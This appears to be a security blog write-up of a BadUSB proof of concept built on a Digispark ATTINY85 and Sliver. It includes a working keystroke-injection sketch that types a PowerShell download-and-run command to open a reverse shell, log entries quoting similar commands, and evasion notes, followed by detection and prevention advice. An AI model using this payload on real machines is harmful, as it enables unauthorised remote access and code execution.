BADUSB POC using Digispark ATTINY85 and Sliver

Summary:

It is possible to format a USB device to tell the OS that it is a keyboard. Using existing libraries one can program the USB to input commands once plugged in. This is the idea behind the “Rubber Ducky”. If you intend to recreate this yourself, use a non-production computer or VM. This article was written for research purposes only with the intention of learning how to better protect my network environment and sharing that information with others.

The Digispark ATTINY85.

A brief walkthrough for setting up the ATTINY85:

I referred to the following article: https://macrosec.tech/index.php/2021/06/10/creating-bad-usb/.

I downloaded the driver zip and IDE here:

1. https://www.arduino.cc/en/software/
2. https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip

I then installed the IDE, unzipped the Digistump.Drivers.zip file, and ran the “Install Drivers.exe” Binary.

I. Binary I used to install drivers.

I needed to connect to the internet to get drivers running and IDE (looks like a signing key issue) to run properly. I needed to set the following in the IDE Preferences:

File > Preferences > "Additional Boards manager…": https://raw.githubusercontent.com/ArminJo/DigistumpArduino/refs/heads/master/package_digistump_index.json

Then I installed the “Digistump AVR Boards” package in Tools > Board > Board Manager. I used the following script:

// This script downloads and executes a powershell script efectively opening up a reverse shell in less than 3 seconds. 
// Credits to hak5 and samratashok (developer of the nishang framework).

#include "DigiKeyboard.h"
void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("powershell \"IEX (New-Object Net.WebClient).DownloadString('https://mywebserver/payload.ps1');\"");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for (;;) {
    /*Stops the digispark from running the scipt again*/
  }
}

The “payload.ps1” script contents can be seen here: https://github.com/Business1sg00d/RunRCX.

Detection

Sysmon:

When Sysmon is active in the environment the Run generated by the USB leaves evidence in:

1. Event ID 1 — Process Created.
2. Event ID 3 — Network Connection Established (Port 80 for initial loader).
3. Event ID 7 — Because mstsc.exe loads itself for some reason? This seems like legit behavior. Only suspicious in environments where mstsc.exe is not common.
4. Event ID 8 — CreateRemoteThread (sliver artifact as it uses notepad.exe as a sacrificial process).

RunMRU:

The Run command box opens and you can see the typing and a shell pops up briefly. The Run command leaves an artifact in registry:

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
    a    REG_SZ    mstsc.exe\1
    MRUList    REG_SZ    dcba
    b    REG_SZ    powershell IEX(New-Object Net.WebClient).DownloadString('http://172.16.8.27/getpayload.ps1')\1
    c    REG_SZ    secpol.msc\1
    d    REG_SZ    powershell -WindowStyle Hidden "IEX (New-Object Net.WebClient).DownloadString('http://172.16.8.27/getpayload.ps1');"\1

Blue Screen of Death (BSOD):

It might cause blue screens because of incompatible HID drivers. Use “sfc /scannow” to attempt fix then restart the computer. As initially mentioned, use this POC at your own discretion and test this on a non-production computer or VM.

Windows Event Tracing (ETW):

The namespace “ShadowSelf” or “BlockMe” appears when testing the RunOverEntryPoint(unpublished) and RunRCX loaders respectively along with the method used. I tested this using SilkETW.exe.

Evasion

Sysmon:

The following Event IDs do not generate despite what I would expect:

1. Event ID 6 — Driver Loaded does not generate. Odd considering the USB loads its own drivers.
2. Event ID 7 (Image Loaded) does not show clr.dll, clrjit.dll, or coreclr.dll using the IEX initial stage via powershell and loading mstsc with stager and payload.
3. Event ID 25 ProcessTampering does not generate with the RunRCX or RunOverEntryPoint loader.

Prevention

Physical Security:

The best way to prevent this kind of attack from succeeding would be robust physical security. This is because one would need access to the building in which to install the USB. Some physical security measures can include:

1. Cameras for deterrence and detection.
2. Multifactor locks (biometrics + keyfob or some other combination of factors).
3. Security training on reporting unusual activity in the building.
4. Do not pick up a random USB from the ground and plug into your workstation.

Endpoint Hardening:

Using Windows Registry can help in preventing unknown or wanted USBs. For example, the following registry configuration can block all new USBs from installing their drivers while allowing current USB devices to function. This prevents existing USBs from receiving updates as well. Always test new configurations before pushing to the production environment:

reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions /v DenyRemovableDevices /d 0x1 /t REG_DWORD

References:

1. https://www.tenforums.com/tutorials/122303-enable-disable-installation-removable-devices-windows.html
2. https://www.mcyberacademy.com/blogs/digispark-a-tiny-hardware-board-and-the-risks-of-hid-based-attacks
3. https://learn.microsoft.com/en-us/answers/questions/2153342/block-installation-of-unknown-usb-storage-devices
4. https://macrosec.tech/index.php/2021/06/10/creating-bad-usb/
5. https://www.amazon.com/dp/B0836WXQQR
6. https://github.com/MTK911/Attiny85/tree/master/payloads
7. https://github.com/Business1sg00d/RunRCX